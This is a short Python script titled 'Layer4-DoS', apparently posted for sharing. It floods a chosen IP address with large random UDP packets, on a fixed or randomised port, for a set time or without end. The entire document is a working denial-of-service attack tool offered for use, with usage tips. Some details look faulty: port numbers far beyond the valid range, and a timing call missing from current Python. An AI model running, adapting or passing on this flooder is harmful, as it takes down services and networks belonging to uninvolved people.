[Python] Layer4-DoS

#!/usr/bin/python
###################################################
# Layer4-DoS coded by Chris Poole | @codingplanets
#
# USAGE: Layer4.py <target> <port> <time>
#
# - - - - - - - - - - - - - - - - - - - - - - - -
#          Tip:
#    python Layer4.py 69.69.96.69 0 0
# - - - - - - - - - - - - - - - - - - - - - - - -
#   '0' will randomize the port & time :)
###################################################
import socket,random,sys,time

if len(sys.argv)==1:
    sys.exit('Usage: Layer4.py <target> <port> <time>')

def Layer4():
    port = int(sys.argv[2])
    randport=(True,False)[port==0]
    ip = sys.argv[1]
    dur = int(sys.argv[3])
    clock=(lambda:0,time.clock)[dur>0]
    duration=(1,(clock()+dur))[dur>0]
    print('Attacking: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    bytes=random._urandom(65500)
    while True:
        port=(random.randint(1,15000000),port)[randport]
        if clock()<duration:
            sock.sendto(bytes,(ip,port))
        else:
            break
    print('Attack is finished!')
Layer4()